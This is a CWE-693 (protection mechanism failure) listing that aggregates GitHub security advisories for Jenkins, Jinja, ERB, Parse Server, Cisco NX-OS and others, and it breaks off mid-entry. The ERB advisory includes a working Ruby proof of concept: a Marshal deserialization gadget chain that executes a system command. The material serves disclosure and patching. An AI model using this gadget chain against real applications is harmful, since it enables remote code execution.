CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
978 vulnerabilities reference this CWE, most recent first.
GHSA-PX4X-HJM5-W8X3
Vulnerability from github – Published: 2022-10-19 19:00 – Updated: 2022-12-16 19:57Jenkins sets the Content-Security-Policy header to static files served by Jenkins (specifically DirectoryBrowserSupport), such as workspaces, /userContent, or archived artifacts, unless a Resource Root URL is specified.
XFramium Builder Plugin 1.0.22 and earlier globally disables the Content-Security-Policy header for static files served by Jenkins as soon as it is loaded. This allows cross-site scripting (XSS) attacks by users with the ability to control files in workspaces, archived artifacts, etc.
Jenkins instances with Resource Root URL configured are unaffected.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:xframium"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-43432"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-19T22:03:44Z",
"nvd_published_at": "2022-10-19T16:15:00Z",
"severity": "HIGH"
},
"details": "Jenkins sets the Content-Security-Policy header to static files served by Jenkins (specifically `DirectoryBrowserSupport`), such as workspaces, `/userContent`, or archived artifacts, unless a Resource Root URL is specified.\n\nXFramium Builder Plugin 1.0.22 and earlier globally disables the `Content-Security-Policy` header for static files served by Jenkins as soon as it is loaded. This allows cross-site scripting (XSS) attacks by users with the ability to control files in workspaces, archived artifacts, etc.\n\nJenkins instances with [Resource Root URL](https://www.jenkins.io/doc/book/security/user-content/#resource-root-url) configured are unaffected.",
"id": "GHSA-px4x-hjm5-w8x3",
"modified": "2022-12-16T19:57:55Z",
"published": "2022-10-19T19:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43432"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/xframium-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-10-19/#SECURITY-2863"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/10/19/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Content-Security-Policy protection for user content disabled by Jenkins XFramium Builder Plugin"
}
GHSA-PX76-R7PQ-GC82
Vulnerability from github – Published: 2025-09-22 18:30 – Updated: 2025-10-28 21:30An Insecure Direct Object Reference (IDOR) vulnerability was discovered in ARD. The flaw exists in the fe_uid parameter of the payment history API endpoint. An authenticated attacker can manipulate this parameter to access the payment history of other users without authorization.
{
"affected": [],
"aliases": [
"CVE-2025-55886"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-22T18:15:44Z",
"severity": "HIGH"
},
"details": "An Insecure Direct Object Reference (IDOR) vulnerability was discovered in ARD. The flaw exists in the `fe_uid` parameter of the payment history API endpoint. An authenticated attacker can manipulate this parameter to access the payment history of other users without authorization.",
"id": "GHSA-px76-r7pq-gc82",
"modified": "2025-10-28T21:30:29Z",
"published": "2025-09-22T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55886"
},
{
"type": "WEB",
"url": "https://github.com/0xZeroSec/CVE-2025-55886"
},
{
"type": "WEB",
"url": "https://services.ard.fr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q266-R9XR-RC48
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 15:35Insufficient policy enforcement in Parser in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-14058"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:18Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Parser in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-q266-r9xr-rc48",
"modified": "2026-07-01T15:35:08Z",
"published": "2026-07-01T00:34:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14058"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/502354038"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q2X7-8RV6-6Q7H
Vulnerability from github – Published: 2024-12-23 17:56 – Updated: 2025-11-03 22:50An oversight in how the Jinja sandboxed environment detects calls to str.format allows an attacker that controls the content of a template to execute arbitrary Python code.
To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.
Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's format method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.4"
},
"package": {
"ecosystem": "PyPI",
"name": "jinja2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-56326"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-23T17:56:08Z",
"nvd_published_at": "2024-12-23T16:15:07Z",
"severity": "MODERATE"
},
"details": "An oversight in how the Jinja sandboxed environment detects calls to `str.format` allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja\u0027s sandbox does catch calls to `str.format` and ensures they don\u0027t escape the sandbox. However, it\u0027s possible to store a reference to a malicious string\u0027s `format` method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.",
"id": "GHSA-q2x7-8rv6-6q7h",
"modified": "2025-11-03T22:50:50Z",
"published": "2024-12-23T17:56:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56326"
},
{
"type": "WEB",
"url": "https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"
},
{
"type": "PACKAGE",
"url": "https://github.com/pallets/jinja"
},
{
"type": "WEB",
"url": "https://github.com/pallets/jinja/releases/tag/3.1.5"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Jinja has a sandbox breakout through indirect reference to format method"
}
GHSA-Q339-8RMV-2MHV
Vulnerability from github – Published: 2026-04-24 15:36 – Updated: 2026-06-09 10:35Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:
ERB#def_methodERB#def_moduleERB#def_class
An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.
# erb.rb line 838
@_init = self.class.singleton_class
# erb.rb line 1008-1012
def result(b=new_toplevel)
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
eval(@src, b, (@filename || '(erb)'), @lineno)
end
# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1) # <-- no @_init check
end
end
# erb.rb line 1113-1117
def def_module(methodname='erb') # <-- zero-arg call possible
mod = Module.new
def_method(mod, methodname, @filename || '(ERB)')
mod
end
# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible
cls = Class.new(superklass)
def_method(cls, methodname, @filename || '(ERB)')
cls
end
# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
# def erb
# end
# system('id') <- executes at eval time
# def x
# end
require 'erb'
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
# ERB#result correctly blocks this:
begin
erb.result
rescue ArgumentError => e
puts "result: #{e.message} (blocked by @_init -- correct)"
end
# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)
require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'
# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
class DeprecatedInstanceVariableProxy
def initialize(h)
h.each { |k, v| instance_variable_set(k, v) }
end
end
end
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
:@instance => erb,
:@method => :def_module,
:@var => "@x",
:@deprecator => Kernel
})
marshaled = Marshal.dump({proxy => 0})
# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)
# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)
Impact
Scope
Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:
- Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
- Ruby tools that import untrusted serialized data -- any tool using
Marshal.loadfor caching, data import, or IPC - Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization
Severity justification
The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.
This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.
### Gadget chain history Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations: | Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | **2026** | **ERB#def_module @_init bypass** | **ERB 6.0.4** |Patches
The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.
- ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
def def_method(mod, methodname, fname='(ERB)')
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1)
end
end
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "erb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.3.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "erb"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.4"
},
{
"fixed": "4.0.4.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.0.4"
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "erb"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "6.0.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "erb"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.2"
},
{
"fixed": "6.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41316"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T15:36:05Z",
"nvd_published_at": "2026-04-24T03:16:11Z",
"severity": "HIGH"
},
"details": "## Summary\n\nRuby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard:\n\n- `ERB#def_method`\n- `ERB#def_module`\n- `ERB#def_class`\n\nAn attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely.\n\n\u003cdetails\u003e\n\n## The @_init Guard\n\nIn `ERB#initialize`, the guard is set:\n\n```ruby\n# erb.rb line 838\n@_init = self.class.singleton_class\n```\n\nIn `ERB#result` and `ERB#run`, the guard is checked before `eval(@src)`:\n\n```ruby\n# erb.rb line 1008-1012\ndef result(b=new_toplevel)\n unless @_init.equal?(self.class.singleton_class)\n raise ArgumentError, \"not initialized\"\n end\n eval(@src, b, (@filename || \u0027(erb)\u0027), @lineno)\nend\n```\n\nWhen an ERB object is reconstructed via `Marshal.load`, `@_init` is either `nil` (not set during marshal reconstruction) or an attacker-controlled value. Since `ERB.singleton_class` cannot be marshaled, the attacker cannot set `@_init` to the correct value, and `result`/`run` correctly refuse to execute.\n\n## The Bypass\n\n`ERB#def_method`, `ERB#def_module`, and `ERB#def_class` all reach `eval(@src)` without checking `@_init`:\n\n```ruby\n# erb.rb line 1088-1093\ndef def_method(mod, methodname, fname=\u0027(ERB)\u0027)\n src = self.src.sub(/^(?!#|$)/) {\"def #{methodname}\\n\"} \u003c\u003c \"\\nend\\n\"\n mod.module_eval do\n eval(src, binding, fname, -1) # \u003c-- no @_init check\n end\nend\n\n# erb.rb line 1113-1117\ndef def_module(methodname=\u0027erb\u0027) # \u003c-- zero-arg call possible\n mod = Module.new\n def_method(mod, methodname, @filename || \u0027(ERB)\u0027)\n mod\nend\n\n# erb.rb line 1170-1174\ndef def_class(superklass=Object, methodname=\u0027result\u0027) # \u003c-- zero-arg call possible\n cls = Class.new(superklass)\n def_method(cls, methodname, @filename || \u0027(ERB)\u0027)\n cls\nend\n```\n\n`def_module` and `def_class` accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.\n\n### Method wrapper breakout\n\n`def_method` wraps `@src` in a method definition: `\"def erb\\n\" + @src + \"\\nend\\n\"`. Code inside a method body only executes when the method is called, not when it\u0027s defined. However, by setting `@src` to begin with `end\\n`, the attacker closes the method definition early. Code after the first `end` executes immediately at `module_eval` time:\n\n```ruby\n# Attacker sets @src = \"end\\nsystem(\u0027id\u0027)\\ndef x\"\n# After def_method transformation, module_eval receives:\n#\n# def erb\n# end\n# system(\u0027id\u0027) \u003c- executes at eval time\n# def x\n# end\n```\n\n---\n\n## Proof of Concept\n\n### Minimal (ERB only)\n\n```ruby\nrequire \u0027erb\u0027\n\nerb = ERB.allocate\nerb.instance_variable_set(:@src, \"end\\nsystem(\u0027id\u0027)\\ndef x\")\nerb.instance_variable_set(:@lineno, 0)\n\n# ERB#result correctly blocks this:\nbegin\n erb.result\nrescue ArgumentError =\u003e e\n puts \"result: #{e.message} (blocked by @_init -- correct)\"\nend\n\n# ERB#def_module does NOT block this -- executes system(\u0027id\u0027):\nerb.def_module\n# Output: uid=0(root) gid=0(root) groups=0(root)\n```\n\n### Marshal deserialization (ERB + ActiveSupport)\n\nWhen combined with `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` as a method dispatch gadget, this achieves RCE via `Marshal.load`:\n\n```ruby\nrequire \u0027active_support\u0027\nrequire \u0027active_support/deprecation\u0027\nrequire \u0027active_support/deprecation/proxy_wrappers\u0027\nrequire \u0027erb\u0027\n\n# --- Build payload (replace proxy class for marshaling) ---\nreal_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\nActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)\nclass ActiveSupport::Deprecation\n class DeprecatedInstanceVariableProxy\n def initialize(h)\n h.each { |k, v| instance_variable_set(k, v) }\n end\n end\nend\n\nerb = ERB.allocate\nerb.instance_variable_set(:@src, \"end\\nsystem(\u0027id\u0027)\\ndef x\")\nerb.instance_variable_set(:@lineno, 0)\nerb.instance_variable_set(:@filename, nil)\n\nproxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({\n :@instance =\u003e erb,\n :@method =\u003e :def_module,\n :@var =\u003e \"@x\",\n :@deprecator =\u003e Kernel\n})\n\nmarshaled = Marshal.dump({proxy =\u003e 0})\n\n# --- Restore real class and trigger ---\nActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)\nActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)\n\n# This triggers RCE:\nMarshal.load(marshaled)\n# Output: uid=0(root) gid=0(root) groups=0(root)\n```\n\n**Chain:**\n1. `Marshal.load` reconstructs a Hash with a `DeprecatedInstanceVariableProxy` as key\n2. Hash key insertion calls `.hash` on the proxy\n3. `.hash` is undefined -\u003e `method_missing(:hash)` -\u003e dispatches to `ERB#def_module`\n4. `def_module` -\u003e `def_method` -\u003e `module_eval(eval(src))` -\u003e breakout -\u003e `system(\u0027id\u0027)`\n\n**Verified on:** Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1\n\n\n\u003c/details\u003e\n\n## Impact\n### Scope\n\nAny Ruby application that calls `Marshal.load` on untrusted data AND has both `erb` and `activesupport` loaded is vulnerable to arbitrary code execution. This includes:\n\n- **Ruby on Rails applications that import untrusted serialized data** -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC\n- **Ruby tools that import untrusted serialized data** -- any tool using `Marshal.load` for caching, data import, or IPC\n- **Legacy Rails apps** (pre-7.0) that still use Marshal for cookie session serialization\n\n### Severity justification\n\nThe `@_init` guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke\u0027s November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz\u0027s 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The `def_module` bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.\n\nThis bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.\n\n\u003cdetails\u003e\n\n### Gadget chain history\n\nSix generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:\n\n| Year | Chain | Mitigated in |\n|------|-------|-------------|\n| 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 |\n| 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 |\n| 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 |\n| 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches |\n| 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 |\n| **2026** | **ERB#def_module @_init bypass** | **ERB 6.0.4** |\n\n\u003c/details\u003e\n\n## Patches\n\nThe problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.\n\n* ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4\n\n\u003cdetails\u003e\n\nAdd the `@_init` check to `def_method`. Since `def_module` and `def_class` both delegate to `def_method`, this single change covers all three bypass paths:\n\n```ruby\ndef def_method(mod, methodname, fname=\u0027(ERB)\u0027)\n unless @_init.equal?(self.class.singleton_class)\n raise ArgumentError, \"not initialized\"\n end\n src = self.src.sub(/^(?!#|$)/) {\"def #{methodname}\\n\"} \u003c\u003c \"\\nend\\n\"\n mod.module_eval do\n eval(src, binding, fname, -1)\n end\nend\n```\n\n\u003c/details\u003e\n\n-----",
"id": "GHSA-q339-8rmv-2mhv",
"modified": "2026-06-09T10:35:15Z",
"published": "2026-04-24T15:36:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/erb/security/advisories/GHSA-q339-8rmv-2mhv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41316"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/erb"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/erb/CVE-2026-41316.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "ERB has an @_init deserialization guard bypass via def_module / def_method / def_class"
}
GHSA-Q342-9W2P-57FP
Vulnerability from github – Published: 2026-03-10 00:57 – Updated: 2026-03-10 18:44Impact
The requestKeywordDenylist security control can be bypassed by placing any nested object or array before a prohibited keyword in the request payload. This is caused by a logic bug that stops scanning sibling keys after encountering the first nested value. Any custom requestKeywordDenylist entries configured by the developer are equally by-passable using the same technique.
All Parse Server deployments are affected. The requestKeywordDenylist is enabled by default.
Patches
The fix replaces the recursive object scanner with an iterative stack-based traversal that processes all nested values without prematurely exiting the scan loop. This also eliminates a potential stack overflow on deeply nested payloads.
Workarounds
Use a Cloud Code beforeSave trigger to validate incoming data for prohibited keywords across all classes.
References
- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-q342-9w2p-57fp
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.1-alpha.1
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.12
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0-alpha.1"
},
{
"fixed": "9.5.1-alpha.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30938"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T00:57:37Z",
"nvd_published_at": "2026-03-10T18:18:53Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe `requestKeywordDenylist` security control can be bypassed by placing any nested object or array before a prohibited keyword in the request payload. This is caused by a logic bug that stops scanning sibling keys after encountering the first nested value. Any custom `requestKeywordDenylist` entries configured by the developer are equally by-passable using the same technique.\n\nAll Parse Server deployments are affected. The `requestKeywordDenylist` is enabled by default.\n\n### Patches\n\nThe fix replaces the recursive object scanner with an iterative stack-based traversal that processes all nested values without prematurely exiting the scan loop. This also eliminates a potential stack overflow on deeply nested payloads.\n\n### Workarounds\n\nUse a Cloud Code `beforeSave` trigger to validate incoming data for prohibited keywords across all classes.\n\n### References\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-q342-9w2p-57fp\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.1-alpha.1\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.12",
"id": "GHSA-q342-9w2p-57fp",
"modified": "2026-03-10T18:44:46Z",
"published": "2026-03-10T00:57:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-q342-9w2p-57fp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30938"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-server"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/releases/tag/8.6.12"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/releases/tag/9.5.1-alpha.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Parse Server has denylist `requestKeywordDenylist` keyword scan bypass through nested object placement"
}
GHSA-Q35M-MGQF-FF28
Vulnerability from github – Published: 2024-08-28 18:31 – Updated: 2024-08-28 18:31A vulnerability in the Python interpreter of Cisco NX-OS Software could allow an authenticated, low-privileged, local attacker to escape the Python sandbox and gain unauthorized access to the underlying operating system of the device.
The vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by manipulating specific functions within the Python interpreter. A successful exploit could allow an attacker to escape the Python sandbox and execute arbitrary commands on the underlying operating system with the privileges of the authenticated user. Note: An attacker must be authenticated with Python execution privileges to exploit these vulnerabilities. For more information regarding Python execution privileges, see product-specific documentation, such as the section of the Cisco Nexus 9000 Series NX-OS Programmability Guide.
{
"affected": [],
"aliases": [
"CVE-2024-20284"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-28T17:15:06Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the Python interpreter of Cisco NX-OS Software could allow an authenticated, low-privileged, local attacker to escape the Python sandbox and gain unauthorized access to the underlying operating system of the device.\n\nThe vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by manipulating specific functions within the Python interpreter. A successful exploit could allow an attacker to escape the Python sandbox and execute arbitrary commands on the underlying operating system with the privileges of the authenticated user.\u0026nbsp;\nNote: An attacker must be authenticated with Python execution privileges to exploit these vulnerabilities. For more information regarding Python execution privileges, see product-specific documentation, such as the section of the Cisco Nexus 9000 Series NX-OS Programmability Guide.",
"id": "GHSA-q35m-mgqf-ff28",
"modified": "2024-08-28T18:31:54Z",
"published": "2024-08-28T18:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20284"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-psbe-ce-YvbTn5du"
},
{
"type": "WEB",
"url": "https://www.cisco.com/c/en/us/td/docs/dcn/nx-os/nexus9000/105x/programmability/cisco-nexus-9000-series-nx-os-programmability-guide-105x/m-n9k-python-api-101x.html?bookSearch=true#concept_A2CFF094ADCB414C983EA06AD8E9A410"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-Q3FM-4WCW-G57X
Vulnerability from github – Published: 2026-05-29 17:38 – Updated: 2026-05-29 17:38Summary
defaultSandboxPrepareStackTrace in lib/setup-sandbox.js (lines 605, 607) appends to a fresh sandbox-realm lines = [] via lines[lines.length] = value. This is the exact invariant-violating pattern that GHSA-9qj6-qjgg-37qq (commit ca195f0, 2026-05-01) just patched in neutralizeArraySpeciesBatch and codified as Defense Invariant #11 ("Bridge-internal containers must not invoke sandbox code"). A sandbox-installed Array.prototype[N] setter fires during the bridge's safe-default stack-trace formatting and observes / intercepts each appended line.
Details
The post-9qj6 audit note in docs/ATTACKS.md (line 2111) states:
Equivalent pattern elsewhere in the bridge: audited; thisFromOtherArguments, otherFromThisArguments, and every other index-write site already use thisReflectDefineProperty or otherReflectDefineProperty. neutralizeArraySpeciesBatch was the lone outlier.
The audit is scoped to lib/bridge.js. lib/setup-sandbox.js was not covered. defaultSandboxPrepareStackTrace (added under post-#563 hardening for GHSA-v27g) constructs a sandbox-realm [header] array and appends each frame via the prototype-walking index assignment:
